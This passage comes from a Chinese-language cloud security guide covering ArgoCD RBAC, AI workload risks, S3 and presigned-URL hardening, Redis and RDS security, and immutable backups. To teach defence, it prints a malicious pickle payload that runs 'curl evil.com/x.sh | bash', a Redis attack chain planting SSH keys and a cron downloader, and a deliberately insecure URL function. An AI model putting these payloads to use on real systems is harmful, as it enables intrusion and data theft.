    clientID: argocd
    clientSecret: $oidc.okta.clientSecret
    requestedScopes: ["openid", "profile", "email", "groups"]
    requestedIDTokenClaims:
      groups:
        essential: true

  # ★ 资源排除(不同步敏感资源)
  resource.exclusions: |
    - apiGroups: [""]
      kinds: ["Secret"]
      clusters: ["*"]
---
# ③ ★ 修改默认 admin 密码并删除初始 Secret
#    (ArgoCD 2.x 之后)
---
# ④ ★ RBAC:给不同团队不同权限(argocd-rbac-cm)
apiVersion: v1
kind: ConfigMap
metadata:
  name: argocd-rbac-cm
  namespace: argocd
data:
  policy.default: role:readonly     # ★ 默认只读,不是 admin
  policy.csv: |
    # 平台团队:全部权限
    p, role:platform-admin, applications, *, */*, allow
    p, role:platform-admin, clusters, *, *, allow
    g, platform-team, role:platform-admin

    # 业务团队:只能 sync 自己的应用,不能删除
    p, role:app-team, applications, get, production-apps/*, allow
    p, role:app-team, applications, sync, production-apps/*, allow
    p, role:app-team, applications, delete, production-apps/*, deny
    g, business-team, role:app-team

  scopes: '[groups]'
# ============================================================
# ★ ArgoCD 安全检查清单
# ============================================================

# ① ★★ 检查是否改了默认密码
kubectl -n argocd get secret argocd-initial-admin-secret -o jsonpath='{.data.password}' | base64 -d
# ★ 如果这个命令还能成功 = 说明还没改密码 or 还没删这个 Secret
# ✅ 正确做法:改完密码后删除这个 Secret
kubectl -n argocd delete secret argocd-initial-admin-secret

# ② 检查匿名访问
kubectl -n argocd get cm argocd-cm -o jsonpath='{.data.users\.anonymous\.enabled}'
# ★ 应该是 "false",如果是 "readonly" 需要改

# ③ 检查 AppProject 的 destination 有没有通配符
kubectl -n argocd get appprojects -o json | jq -r '
  .items[] |
  "  \(.metadata.name): " + (
    if (.spec.destinations // []) | any(.namespace == "*") then
      "★ [!] 有通配符 destination!"
    else "✓" end
  )
'

# ④ 检查是否暴露到公网
kubectl -n argocd get ingress,svc -o wide
# ★ argocd-server 应该是 ClusterIP,不应有 LoadBalancer 公网 IP

# ⑤ 检查能不能创建集群级资源
kubectl -n argocd get appprojects -o json | jq -r '
  .items[] |
  "  \(.metadata.name): clusterResourceWhitelist=" +
  ((.spec.clusterResourceWhitelist // []) | length | tostring) + " 条"
  # ★ 应该是 0 条
'

10.5.6 AI / ML 工作负载安全(新兴且快速增长)

★ 为什么 K8s 上跑 AI 有特别的危险

  传统 Web 服务:接收 HTTP 请求 → 查数据库 → 返回 JSON
  AI 工作负载:  ★ 接收【代码/模型/数据】 → ★ 执行它 → 用 GPU 跑

  ★★ 关键区别:AI 工作负载天然需要"执行不可信的东西"
     - Jupyter Notebook:用户上传代码,服务器执行(★ 本质是 RCE as a Service!)
     - 模型推理:加载第三方模型文件(★ pickle 反序列化 = RCE)
     - 训练任务:加载数据集、执行自定义的数据处理代码
     - Agent / 插件:调用外部工具(★ 见第一章的 AI 安全)

★ 风险 1:Jupyter Notebook = 官方 RCE

★ 你必须理解的事实:
   Jupyter 的【核心功能】就是:用户提交代码 → 服务器执行
   → ★ "这不是漏洞,这是功能"
   → 但如果你把它暴露在公网上,就等于"公开了一个 shell"

★ 真实的入侵场景:
   ① 公司在公网部署了 Jupyter(数据科学家的常用操作)
   ② 没设密码或密码是弱密码(★ Jupyter 默认 token 但经常被关掉)
   ③ 扫描器扫到 8888 端口
   ④ 攻击者打开浏览器,直接获得一个 shell
   ⑤ ★ 而且这个 shell 通常在【有 GPU 的机器】上,
      还挂载了训练数据、模型权重、云凭据
   → ★★ 挖矿 + 数据窃取 + 横向移动,一条龙

★ 防护:
   ☑ ★★ 绝不对公网暴露(用 SSH 隧道 / VPN)
      ssh -L 8888:localhost:8888 user@server
   ☑ 必须设置强 token 或密码(★ 用 jupyter server password)
   ☑ ★ 运行在容器里,且:
      - 非 root
      - 无特权
      - 只读根文件系统(除工作目录)
      - 独立的 ServiceAccount(无 K8s API 权限)
      - NetworkPolicy 限制出网
   ☑ ★ 不要用能访问生产数据的云角色(用独立的最小权限账号)
   ☑ 挂载的数据目录最小化(不要挂整个数据湖)

★ 风险 2:模型文件的反序列化 RCE(★ PyTorch 的坑)

# ============================================================
# ★★★ 加载第三方模型 = 执行任意代码
# ============================================================

import torch

# ❌❌❌ 危险:torch.load 默认走 pickle 反序列化
model = torch.load("downloaded_model.pth")
# ★ pickle 在反序列化时会执行 __reduce__ 方法里指定的任意代码
#   → 攻击者可以在模型文件里埋一行:
#     os.system("curl evil.com/shell.sh | bash")
#   → ★ 你 load 的那一刻,后门就执行了

# 真实案例:
#   攻击者在 Hugging Face 上传恶意模型(★ 已经发生过多次)
#   用户下载后 torch.load → 沦陷

# ✅ 正确做法 1:★ 用 weights_only=True(PyTorch 2.0+)
model = torch.load("model.pth", weights_only=True)
# ★ 只允许加载张量,不允许执行代码
# ★★ 这是最重要的修复,PyTorch 2.6 之后默认就是 True

# ✅ 正确做法 2:用 safetensors 格式(★ 推荐)
from safetensors.torch import load_file
state_dict = load_file("model.safetensors")
# ★ safetensors 格式【设计上就不支持代码执行】
#   → 它只存张量数据,没有反序列化逻辑

# ✅ 正确做法 3:扫描模型文件
#   工具:picklescan / modelscan
#   pip install modelscan
#   modelscan scan --path ./downloaded_model.pth
# ★ 恶意模型文件长什么样(让你看看原理)
import pickle
import os

class EvilPayload:
    def __reduce__(self):
        # ★★ pickle 反序列化时会调用这个返回的函数
        return (os.system, ('curl https://evil.com/x.sh | bash',))

payload = pickle.dumps(EvilPayload())
with open("model.pth", "wb") as f:
    f.write(payload)
# ★ 受害者 torch.load("model.pth") → 命令执行
★ 其他格式的类似风险:
   - ONNX:也支持自定义算子(可含代码)→ 需要检查
   - TensorFlow SavedModel:含计算图,较安全,但也有过漏洞
   - Keras .h5:基于 HDF5,历史上也有反序列化问题
   - ★ pickle 格式的 .pkl:最危险(等同 RCE)
   - ★★ safetensors:目前最安全的选择

★ 给你的团队的建议:
   ① 内部模型仓库强制使用 safetensors
   ② 下载的第三方模型必须过 modelscan 扫描
   ③ 加载模型的最小权限 + 网络隔离(★ 即使被打了也出不去)

★ 风险 3:GPU 多租户的隔离问题

★ 问题:GPU 没有像 CPU 那样的强隔离

  CPU / 内存:有 cgroup 严格限制,超了就 OOM
  GPU:★ 共享时的问题:
    ① 显存泄漏:一个容器把显存占满,其他容器全部 OOM
    ② ★ 侧信道攻击:GPU 有共享的 L2 缓存、内存总线
       → 理论上可以跨容器窃取数据(学术上已证明可行)
    ③ ★ 驱动漏洞:GPU 驱动是内核模块,攻击面大
       (★ NVIDIA 驱动每年都有 CVE)

★ 防护:
   ☑ ★ 不要多租户共享 GPU(敏感场景用独占 / MIG 硬件分区)
   ☑ NVIDIA MIG(Multi-Instance GPU):A100/H100 支持硬件级切分
     → ★ 这是唯一真正的硬件隔离
   ☑ 用 Kata Containers / 虚拟机 跑不可信的 AI 负载
   ☑ 限制 GPU 容器的权限(不给 privileged,只给必要的 device)
   ☑ ★ 及时更新 GPU 驱动(很多人忘了这件事)

★ 风险 4:AI 平台的凭据与数据

★ AI 训练任务通常需要:
   - 大量训练数据(★ 可能是敏感数据:人脸、医疗、用户行为)
   - 对象存储的读写权限
   - GPU 资源(很贵)
   - 云数据库访问

★ 常见错误:
   ① 训练容器的 ServiceAccount 权限过大
      → 能读所有 Secret、能创建任意 Pod
   ② 训练数据桶公开或权限过宽
   ③ Noteboo	k 里硬编码 AK/SK(★ 数据科学家不熟悉安全,非常常见)
   ④ ★ 训练产物(模型权重)未加密存储
      → ★★ 模型本身是核心资产,而且可能【记忆】了训练数据
         (★ 模型反演攻击:从模型权重反推出训练数据!)

★ 防护:
   ☑ 训练任务的 SA 只能读写指定的数据桶(★ 用 IRSA + 精确的资源 ARN)
   ☑ 强制用 IRSA / Workload Identity,禁止 AK/SK(见 10.4.3)
   ☑ 训练数据加密 + 访问审计
   ☑ ★ 模型权重视为敏感资产:加密存储 + 访问控制 + 出库审计
   ☑ 用 NetworkPolicy 限制训练容器的出网(★ 防止数据外传)

10.6 云上数据与存储安全

★ 一句话:攻击者费了九牛二虎之力进到你的云环境, 最终目的一定是数据。 而云上的数据,有一个特点:配错一个开关,全世界都能下载。

10.6.1 云上数据存储全景(先搞清楚东西存在哪)

┌──────────────────────────────────────────────────────────────────┐
│                     云上数据存储的六种形态                          │
├──────────────┬──────────────────┬─────────────────────────────────┤
│ 类型          │ 白话              │ 典型风险                          │
├──────────────┼──────────────────┼─────────────────────────────────┤
│ ① 对象存储    │ 网盘/文件柜       │ ★★ 公开桶(最常见的数据泄露原因)   │
│   S3/OSS/COS │ 存图片、备份、日志 │ ★ 预签名 URL 泄露                 │
│              │                  │ ★ 无版本控制(被覆盖/删除)         │
├──────────────┼──────────────────┼─────────────────────────────────┤
│ ② 块存储      │ 云硬盘            │ ★ 未加密                          │
│   EBS/云盘    │ 挂在云主机上      │ ★ 快照公开共享(★ 数据外泄的隐蔽路径)│
│              │                  │ ★ 删机器时没删盘(数据残留+持续计费)│
├──────────────┼──────────────────┼─────────────────────────────────┤
│ ③ 关系数据库  │ RDS / MySQL       │ ★ 公网可访问                      │
│              │                  │ ★ 弱密码 / 默认端口                │
│              │                  │ ★ 无 SSL                          │
│              │                  │ ★ 备份未加密                       │
├──────────────┼──────────────────┼─────────────────────────────────┤
│ ④ 缓存/NoSQL  │ Redis / MongoDB   │ ★★★ 无认证(默认就没密码!)       │
│              │                  │ ★ 公网暴露 → 几分钟内被勒索/挖矿   │
├──────────────┼──────────────────┼─────────────────────────────────┤
│ ⑤ 数据仓库    │ 数仓 / 大数据      │ ★ 权限过粗(分析师能看全量 PII)   │
│              │                  │ ★ 导出功能无审计                   │
├──────────────┼──────────────────┼─────────────────────────────────┤
│ ⑥ 密钥/参数   │ KMS / 密钥管理     │ ★ 密钥策略过宽(谁都能解密)       │
│              │                  │ ★★ 用默认密钥而不是 CMK            │
└──────────────┴──────────────────┴─────────────────────────────────┘

10.6.2 对象存储安全(★ 云数据泄露的头号原因)

★★★ 一个残酷的事实:

  云上最大的数据泄露来源,不是"黑客攻破了系统",
  而是【存储桶被配成了公开】。

  ★ 真实事故(公开报道的):
    - 2017 Accenture:4 个 S3 桶公开,含 137GB 数据(含解密密钥)
    - 2019 某金融机构:Elasticsearch + S3 桶公开,1.06 亿条记录
    - 2020 某出行公司:备份桶公开
    - 2021 某社交平台:5.33 亿用户手机号(数据本来就是爬来的,
                        但存在公开的桶里)
    - ★ 每年都有几十起,而且【同一家公司会重复犯】

  ★ 为什么这么容易发生:
    ① 对象存储的权限模型【有四套机制】(见 10.3.2 风险 2)
    ② 控制台上"设为公开"只需要点一下
    ③ 很多教程教人"想让图片能访问?把桶设为 public-read"
       → ★ 这是错的,正确做法是用 CDN + OAC
    ④ 桶的名字是全局的,扫描器会暴力枚举桶名

★ 对象存储的完整加固清单

# ============================================================
# ① 全账号扫描:找出所有公开的桶(★ 每周跑一次)
# ============================================================
#!/bin/bash
# s3_public_audit.sh

echo "===== 扫描所有桶的公开访问设置 ====="
for bucket in $(aws s3api list-buckets --query 'Buckets[].Name' --output text); do

  # ★ 1. Public Access Block 设置
  PAB=$(aws s3api get-public-access-block --bucket "$bucket" 2>/dev/null)
  if [ -z "$PAB" ]; then
    echo "  ★★★ [$bucket] 未启用 Public Access Block!"
  else
    ALL_TRUE=$(echo "$PAB" | jq -r '[.PublicAccessBlockConfiguration | to_entries[] | .value] | all(. == true)')
    [ "$ALL_TRUE" == "true" ] && STATUS="✓ 已全开" || STATUS="★ [!] 未全开"
    echo "  $STATUS [$bucket]"
  fi

  # ★ 2. ACL 检查(有没有给 AllUsers / AuthenticatedUsers)
  PUBLIC_ACL=$(aws s3api get-bucket-acl --bucket "$bucket" 2>/dev/null | jq -r '
    .Grants[] | select(.Grantee.URI != null) | .Grantee.URI
  ' 2>/dev/null)
  if [ -n "$PUBLIC_ACL" ]; then
    echo "      ★★★ [!] ACL 里有公开授权: $PUBLIC_ACL"
  fi

  # ★ 3. 桶策略检查(有没有 Principal: "*")
  POLICY=$(aws s3api get-bucket-policy --bucket "$bucket" --output text 2>/dev/null)
  if [ -n "$POLICY" ]; then
    HAS_PUBLIC=$(echo "$POLICY" | jq -r '
      [.Statement[] |
        (if (.Principal|type) == "string" then .Principal
         elif (.Principal|type) == "object" then (.Principal.AWS // .Principal.CanonicalUser // "")
         else "" end)
      ] | map(tostring) | join(",") | test("\\*")
    ' 2>/dev/null)
    if [ "$HAS_PUBLIC" == "true" ]; then
      echo "      ★★★ [!] 桶策略里包含 Principal: '*'!"
    fi
  fi

  # ★ 4. 加密检查
  ENC=$(aws s3api get-bucket-encryption --bucket "$bucket" 2>/dev/null)
  [ -z "$ENC" ] && echo "      ★ [!] 未启用默认加密"

  # ★ 5. 版本控制检查
  VER=$(aws s3api get-bucket-versioning --bucket "$bucket" --query 'Status' --output text 2>/dev/null)
  [ "$VER" != "Enabled" ] && echo "      ★ [!] 未启用版本控制"

  # ★ 6. 访问日志检查
  LOG=$(aws s3api get-bucket-logging --bucket "$bucket" 2>/dev/null | jq -r '.LoggingEnabled // empty')
  [ -z "$LOG" ] && echo "      ★ [!] 未启用访问日志"
done

★ 预签名 URL(Presigned URL)的双面性

★ 名词:预签名 URL(Presigned URL / 临时访问链接) 白话:一个带“授权签名”的临时下载链接。 不用登录,拿到链接就能下载,一段时间(如 1 小时)后失效。 ★ 生活类比:酒店的“限时电梯卡”,给朋友一张,1 小时内能上楼。

★ 什么时候必须用:
   用户在你的 App 里要看自己的私密照片
   → 你不能直接把桶设为公开(★ 那就全公开了)
   → 正确做法:后端生成一个 5 分钟有效的预签名 URL 返回给 App

★ 安全风险:

  ① ★★ 有效期过长
     "为了方便,设个 7 天吧"
     → ★ 链接被转发、被爬虫抓到、被存在浏览器历史里
     → 7 天内任何人拿到链接都能下载
     ✅ 建议:能短就短(几分钟到 1 小时),最长不超过 24 小时

  ② ★★ 链接里包含文件名,被暴力枚举
     https://bucket.s3.amazonaws.com/uploads/user_12345/avatar.jpg?X-Amz-Signature=...
     → ★ 如果签名校验不严,攻击者可能改路径
     → 实际 AWS 的签名是针对完整路径的,改了就失效(安全)
        ★ 但【自己实现】的签名逻辑经常有这个问题

  ③ ★★★ 自己实现预签名时的常见漏洞(★ 这是真问题)
     很多公司为了"统一体验"自己包一层下载接口:
       GET /api/download?file=xxx&token=<自己签的token>
     然后后端验证 token 后去取文件
     → ★ 如果 token 里没绑定文件路径,或者签名算法弱(md5(file))
       → 攻击者改 file 参数就能下载任意文件(★ 越权 + 任意文件读取)
     见 11 号文档的越权章节

  ④ ★ 预签名 URL 会绕过你的审计
     ★ 用户用预签名 URL 直接访问 S3,你的应用层日志里【没有记录】
     → 出事后不知道"谁下载了什么"
     ✅ 建议:
        - 每次生成预签名 URL 都要在应用日志里记录(谁、什么时候、哪个文件)
        - ★ 开启 S3 访问日志 / CloudTrail 数据面事件
        - 用 CloudFront 签名 URL 代替(★ CloudFront 有完整的访问日志)

★ 生成预签名 URL 的正确姿势
# ============================================================
# ✅ 正确的预签名 URL 实现
# ============================================================
import boto3
from botocore.config import Config
from datetime import datetime
import logging

s3 = boto3.client('s3', config=Config(signature_version='s3v4'))
logger = logging.getLogger(__name__)

def generate_download_url(user_id: str, object_key: str, expires_in: int = 300) -> str:
    """
    生成预签名下载 URL

    ★ 五个必须做的点:
      ① 先鉴权(这个用户能不能访问这个文件)—— ★ 最容易被忘
      ② 有效期要短
      ③ 强制下载文件名(防止 XSS / 内容嗅探)
      ④ 记录审计日志
      ⑤ 限制请求的 IP(如果业务允许)
    """
    # ① ★★★ 先做业务鉴权(很多人直接跳过这步!)
    if not can_user_access(user_id, object_key):
        # ★ 注意:即使无权,也不要透露文件是否存在(避免信息泄露)
        raise PermissionError("无权访问该资源")

    # ② 生成预签名 URL(有效期 5 分钟)
    url = s3.generate_presigned_url(
        'get_object',
        Params={
            'Bucket': 'my-private-bucket',
            'Key': object_key,
            # ③ ★ 强制下载 + 指定文件名(★ 防止上传的 HTML 被执行 XSS)
            'ResponseContentDisposition': f'attachment; filename="{sanitize_filename(object_key)}"',
            # ★ 强制 Content-Type,防止内容嗅探
            'ResponseContentType': 'application/octet-stream',
        },
        ExpiresIn=expires_in,
        HttpMethod='GET'
    )

    # ④ ★★ 审计日志(★ 这是很多人漏掉的)
    logger.info({
        'event': 'presigned_url_generated',
        'user_id': user_id,
        'object_key': object_key,
        'expires_in': expires_in,
        'timestamp': datetime.utcnow().isoformat(),
        'ip': get_client_ip(),
    })

    return url


def can_user_access(user_id: str, object_key: str) -> bool:
    """
    ★★ 关键:鉴权逻辑必须校验【文件路径属于这个用户】
       不能只校验"用户已登录"
    """
    # ✅ 正确:校验路径前缀属于该用户
    expected_prefix = f"users/{user_id}/"
    if not object_key.startswith(expected_prefix):
        return False

    # ✅ 还要校验:文件确实存在(在数据库里有记录)
    return db.file_exists(user_id=user_id, key=object_key)


# ============================================================
# ❌ 常见错误写法(收集一下反面教材)
# ============================================================
def bad_generate_url(object_key: str) -> str:
    """❌ 六种错误,看看你中了几条"""
    # 错误 1:没有鉴权,任何人调用都能拿到任意文件的链接
    # 错误 2:有效期 7 天(太长)
    return s3.generate_presigned_url(
        'get_object',
        Params={'Bucket': 'my-bucket', 'Key': object_key},
        ExpiresIn=604800          # ❌ 7 天
    )
    # 错误 3:没有 ResponseContentDisposition
    #         → 用户上传的 .html 文件会在浏览器里执行(★ 存储型 XSS!)
    # 错误 4:没有记录审计日志
    # 错误 5:object_key 直接来自用户输入,没有校验用户是否有权访问
    #         → ★ 越权漏洞:改一下 key 就能下载别人的文件
    # 错误 6:用 GET 方法生成上传 URL 时没有限制文件大小和 Content-Type
# ============================================================
# ★ 预签名【上传】URL 的正确姿势(风险比下载更大)
# ============================================================
def generate_upload_url(user_id: str, filename: str, content_type: str) -> dict:
    """
    ★★ 上传 URL 比下载危险得多,因为别人可以:
       - 上传任意大小的文件(★ 你的账单)
       - 上传任意类型(★ .html → 存储型 XSS,.exe → 恶意软件分发)
       - 覆盖别人的文件(★ 如果 key 可预测)
    """
    import uuid

    # ① ★★ 白名单校验 Content-Type(★ 最关键)
    ALLOWED_TYPES = {'image/jpeg', 'image/png', 'image/gif', 'application/pdf'}
    if content_type not in ALLOWED_TYPES:
        raise ValueError(f"不允许的文件类型: {content_type}")

    # ② ★★ 用随机 key,防止覆盖和枚举(★ 不要用用户提供的文件名)
    ext = filename.rsplit('.', 1)[-1].lower() if '.' in filename else ''
    if ext not in {'jpg', 'jpeg', 'png', 'gif', 'pdf'}:
        raise ValueError("不允许的扩展名")
    object_key = f"uploads/{user_id}/{uuid.uuid4().hex}.{ext}"

    # ③ ★★ 用 POST policy 限制上传(★ 这是唯一能限制大小的方法)
    #    ★ 注意:PUT 预签名 URL 【无法】限制文件大小!
    #    → 必须用 POST policy(浏览器直传)
    fields = {
        'Content-Type': content_type,
    }
    conditions = [
        {'Content-Type': content_type},
        ["content-length-range", 1, 10 * 1024 * 1024],    # ★ 1 字节 ~ 10MB
        ["starts-with", "$key", f"uploads/{user_id}/"],    # ★ 只能传到自己目录
    ]

    presigned = s3.generate_presigned_post(
        Bucket='my-upload-bucket',
        Key=object_key,
        Fields=fields,
        Conditions=conditions,
        ExpiresIn=300,                                     # ★ 5 分钟
    )

    # ④ ★ 记录待上传状态,等回调确认(★ 防止上传了但不告知后端)
    db.create_pending_upload(user_id=user_id, key=object_key, filename=filename)

    return {
        'url': presigned['url'],
        'fields': presigned['fields'],
        'key': object_key,
    }

# ★★ 补充:上传后必须做病毒扫描 + 内容检测
#    - ClamAV 扫描(★ 你的桶会被挂马,然后你的域名被用来分发恶意软件)
#    - 图片二次压缩/转码(★ 能破坏大部分图片马)
#    - 服务端再校验一次 Content-Type 和魔数(★ 客户端传的不可信)

10.6.3 数据库与缓存安全(★ 最容易被打的地方)

★★★ Redis / MongoDB / Elasticsearch 未授权访问

  ★ 关键事实:这些中间件【默认没有密码】
    - Redis 默认无认证(redis.conf 里 requirepass 是注释掉的)
    - MongoDB 3.6 之前默认无认证,之后默认只监听 127.0.0.1
      → ★ 但如果改了 bind_ip = 0.0.0.0 且没开 auth = 完全裸奔
    - Elasticsearch 默认无认证(7.x 之前)

  ★ 暴露在公网上会发生什么:
    ┌────────────────────────────────────────────────┐
    │ Redis 未授权访问攻击链(★ 平均 3 分钟被攻陷)    │
    ├────────────────────────────────────────────────┤
    │ ① 扫描器发现 6379 端口开放且无认证              │
    │ ② 执行:                                        │
    │    config set dir /root/.ssh/                   │
    │    config set dbfilename authorized_keys        │
    │    set x "\n\nssh-rsa AAAAB3...攻击者公钥\n\n"   │
    │    save                                         │
    │    → ★★ 攻击者的 SSH 公钥被写进 authorized_keys │
    │    → ssh root@目标机器,直接登录                │
    │                                                 │
    │ ③ 或者写计划任务:                              │
    │    config set dir /var/spool/cron/              │
    │    config set dbfilename root                   │
    │    set x "\n* * * * * curl evil.com/x.sh|bash\n"│
    │    save                                         │
    │                                                 │
    │ ④ 或者(Redis 4.x+)写 so 文件 → 加载模块 → RCE │
    └────────────────────────────────────────────────┘

  ★ MongoDB / Elasticsearch 未授权:
    ① 直接拖走所有数据
    ② ★★ 勒索:删掉所有数据,只留一个库写着
       "Send 0.05 BTC to xxx, then email us to recover"
       (★ 2017 年有超过 3 万个 MongoDB 实例这样被勒索)

  ★★ 防护(四条,缺一不可):
    ① ★ 不要监听 0.0.0.0,只监听内网 IP
    ② ★ 开启认证(requirepass / --auth / xpack.security)
    ③ ★ 安全组/防火墙:只对应用服务器开放,绝不开放公网
    ④ ★ 不要用默认端口(改成 16379 等)—— 只能挡住低级扫描,
       但聊胜于无(★ 这不是安全措施,是"减少噪音")
# ============================================================
# Redis 安全加固
# ============================================================

# ① 配置文件加固(redis.conf)
cat >> /etc/redis/redis.conf <<'EOF'
# ★ 只监听内网
bind 10.0.1.5 127.0.0.1

# ★ 开启密码(★ 用强密码,不要用 123456)
requirepass "Zx9#mK2$pL7@vN4&qR8*wT3!"

# ★★ 禁用危险命令(★ 这一条极其重要)
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command KEYS "RANDOM_KEY_NAME_9f3a2b"
rename-command CONFIG "RANDOM_CONFIG_NAME_7d1c8e"
rename-command SHUTDOWN ""
rename-command DEBUG ""
rename-command EVAL ""

# ★ 以非 root 用户运行
# user redis redis   (Redis 6+ 支持 ACL 用户)

# ★ 开启保护模式
protected-mode yes

# ★ 限制最大内存(防止被打爆)
maxmemory 4gb
maxmemory-policy allkeys-lru
EOF

# ② 验证:从外部能不能连上
redis-cli -h <public-ip> -p 6379 ping
# ★ 应该返回 "Could not connect" 或 NOAUTH

# ③ ★ 检查有没有被写入过恶意 key
redis-cli -a "$PASSWORD" --no-auth-warning keys '*'
# ★ 如果看到奇怪的 key(如 "backup1"、"crackit")→ 已经被攻击过了

# ④ 检查 authorized_keys 有没有被改
cat /root/.ssh/authorized_keys    # ★ 看有没有不认识的公钥
crontab -l                         # ★ 看有没有可疑任务
★ 云数据库(RDS)的安全清单

  ☑ ★ 不启用公网访问(PubliclyAccessible = false)
     如果必须:白名单 + SSL + 强密码 + 审计

  ☑ 安全组只对应用层开放(见 10.3.2 风险 3)

  ☑ ★ 存储加密(创建时开启!见 10.3.2 风险 4)

  ☑ 强制 SSL(require_secure_transport = ON)

  ☑ ★ 开启审计日志(MySQL: audit log;PG: pgaudit)
     ★ 合规要求(等保 2.0 三级)也需要

  ☑ 备份加密 + 备份保留期(★ 至少 7 天,重要数据 30 天)

  ☑ ★★ 开启删除保护(DeletionProtection)
     → 防止误删 / 攻击者删库
     → ★ 这是防勒索的最后一道防线

  ☑ ★ 不用主账号,给每个应用建独立账号 + 最小权限
     - 只读应用 → 只给 SELECT
     - 报表应用 → 只给特定库的 SELECT

  ☑ 定期轮换密码(用 Secrets Manager 自动轮换)

  ☑ ★ 敏感字段加密(应用层或数据库层的列加密)

  ☑ 用堡垒机/数据库网关访问,不在本地直连

10.6.4 防勒索:不可变备份(★ 云上最有价值的安全投资)

★★★ 勒索软件的攻击逻辑(2026 年的现状):

  ① 攻击者进入环境(钓鱼 / 漏洞 / 凭据泄露)
  ② 横向移动,找到域控 / 备份服务器
  ③ ★★ 【第一步就是删除所有备份】(★ 这是关键!)
  ④ 然后加密生产数据
  ⑤ 勒索

  ★ 所以:
    ★★ 如果你的备份能被攻击者删掉,那备份等于不存在

  ★ 真实教训:
    很多公司"有备份",但备份服务器和域在同一个网络、
    用域账号管理 → 攻击者拿到域管 → 删光备份 → 只能交赎金

★★★ 云上的解决方案:不可变备份(Immutable Backup)
     ★ 白话:写完就锁死,谁都删不掉(★ 包括你的 root 账号)
★★ 三种不可变备份方案(按强度排序)

┌──────────────────────────────────────────────────────────────┐
│ 方案 1:★ 对象存储版本控制 + MFA 删除                          │
├──────────────────────────────────────────────────────────────┤
│ 原理:                                                         │
│   ① 开启版本控制 → 删除对象只是打"删除标记",历史版本还在      │
│   ② 开启 MFA Delete → 删除【某个版本】需要 MFA 设备确认        │
│                                                                │
│ ★ 能防住:                                                     │
│   ✓ 攻击者用普通 AK/SK 删备份(会被版本控制挡住)              │
│   ✓ 误操作删除                                                 │
│ ★ 防不住:                                                     │
│   ✗ 攻击者拿到了【root 账号 + MFA 设备】                       │
│   ✗ 攻击者关闭了版本控制(需要 s3:PutBucketVersioning 权限)    │
└──────────────────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────────────────┐
│ 方案 2:★★ 对象锁(Object Lock)—— ★ 推荐                      │
├──────────────────────────────────────────────────────────────┤
│ 原理:WORM(Write Once Read Many,一次写入多次读取)            │
│   设置保留期,在保留期内【任何人都不能删除或修改】              │
│                                                                │
│ 两种模式:                                                     │
│   - GOVERNANCE(治理模式):                                   │
│       有特殊权限的人(s3:BypassGovernanceRetention)可以删      │
│       → 适合合规场景,管理员还能操作                            │
│   - ★★ COMPLIANCE(合规模式):                                │
│       ★★ 谁都删不掉,包括账号 root、包括云厂商                  │
│       → ★ 这才是真正的防勒索                                    │
│                                                                │
│ ★ 能防住:                                                     │
│   ✓✓ 攻击者拿到任何权限都删不掉(★ 除非他有你的物理 MFA)       │
│ ★ 代价:                                                       │
│   ✗ ★ 设为 COMPLIANCE 后,你自己也删不掉,必须等保留期结束      │
│   ✗ 会产生存储成本(保留期内的数据一直在)                      │
└──────────────────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────────────────┐
│ 方案 3:★★★ 跨账号 / 跨云备份(★ 最强,3-2-1 原则)            │
├──────────────────────────────────────────────────────────────┤
│ ★ 3-2-1 备份原则:                                             │
│   3 份副本 + 2 种不同介质 + 1 份离线/异地                       │
│                                                                │
│ 云上实现:                                                     │
│   生产账号的数据 → 备份到一个【独立的备份账号】                 │
│   ★ 关键点:                                                   │
│     ① 备份账号的凭据【生产账号里没有】(★ 单向)                │
│        → 攻击者即使完全控制了生产账号,                         │
│          ★ 也碰不到备份账号里的东西                             │
│     ② 备份账号开启 MFA + 对象锁                                 │
│     ③ 甚至可以跨云(AWS 的数据备份到阿里云,★ 极端情况)         │
│                                                                │
│ ★ 能防住:                                                     │
│   ✓✓✓ 生产账号完全沦陷(★ 包括 root 被盗)                      │
│ ★ 代价:                                                       │
│   成本高、架构复杂、恢复演练麻烦                                │
└──────────────────────────────────────────────────────────────┘
# ============================================================
# ★ 实战:搭建一个防勒索的备份桶(AWS)
# ============================================================

# ① 创建开启对象锁的桶(★ 必须在创建时就开,事后开不了)
aws s3api create-bucket \
  --bucket mycompany-immutable-backup \
  --object-lock-enabled-for-bucket

# ② 设置默认保留策略(30 天 COMPLIANCE 模式)
aws s3api put-object-lock-configuration \
  --bucket mycompany-immutable-backup \
  --object-lock-configuration '{
    "ObjectLockEnabled": "Enabled",
    "Rule": {
      "DefaultRetention": {
        "Mode": "COMPLIANCE",
        "Days": 30
      }
    }
  }'

# ③ 开启版本控制
aws s3api put-bucket-versioning \
  --bucket mycompany-immutable-backup \
  --versioning-configuration Status=Enabled

# ④ ★★ 用 SCP 保护这个桶(防止有人改配置)
# (SCP 见 10.2.5)
{
  "Sid": "保护不可变备份桶",
  "Effect": "Deny",
  "Action": [
    "s3:PutObjectLockConfiguration",
    "s3:PutBucketVersioning",
    "s3:DeleteBucket",
    "s3:PutBucketPolicy",
    "s3:PutLifecycleConfiguration"
  ],
  "Resource": "arn:aws:s3:::mycompany-immutable-backup"
}

# ⑤ 测试:试试能不能删(★ 一定要测!)
echo "test-$(date +%s)" > /tmp/test-backup.txt
aws s3 cp /tmp/test-backup.txt s3://mycompany-immutable-backup/test.txt
aws s3 rm s3://mycompany-immutable-backup/test.txt
# ★ 应该报错:Access Denied(或显示删除标记但实际版本还在)

# 用 root 账号再试一次
# ★ COMPLIANCE 模式下,root 也应该被拒绝

# ⑥ 开启生命周期规则:30 天后自动清理(控制成本)
aws s3api put-bucket-lifecycle-configuration \
  --bucket mycompany-immutable-backup \
  --lifecycle-configuration '{
    "Rules": [{
      "ID": "expire-old-versions",
      "Status": "Enabled",
      "NoncurrentVersionExpiration": {"NoncurrentDays": 90}
    }]
  }'
# ★ 注意:在 COMPLIANCE 保留期内,即使生命周期规则也删不掉
★★★ 关于备份,三句最实在的话

  ① ★ 没有恢复演练过的备份 = 没有备份
     → 每年至少做两次完整的恢复演练,并记录 RTO(恢复时间)
     → ★ 很多公司出事时发现:备份文件是坏的 / 恢复要 3 天 / 缺关键数据

  ② ★ 备份本身也要防"被篡改"
     → 攻击者不一定删备份,他可以【污染】备份(把恶意代码写进备份)
     → 恢复后等于重新被感染
     → ✅ 备份要校验哈希 + 恢复时要扫描

  ③ ★ 恢复顺序要想清楚(★ 很多人到出事才发现顺序错了)
     正确顺序:
       ① 先恢复"干净的基础环境"(网络 + 身份系统)
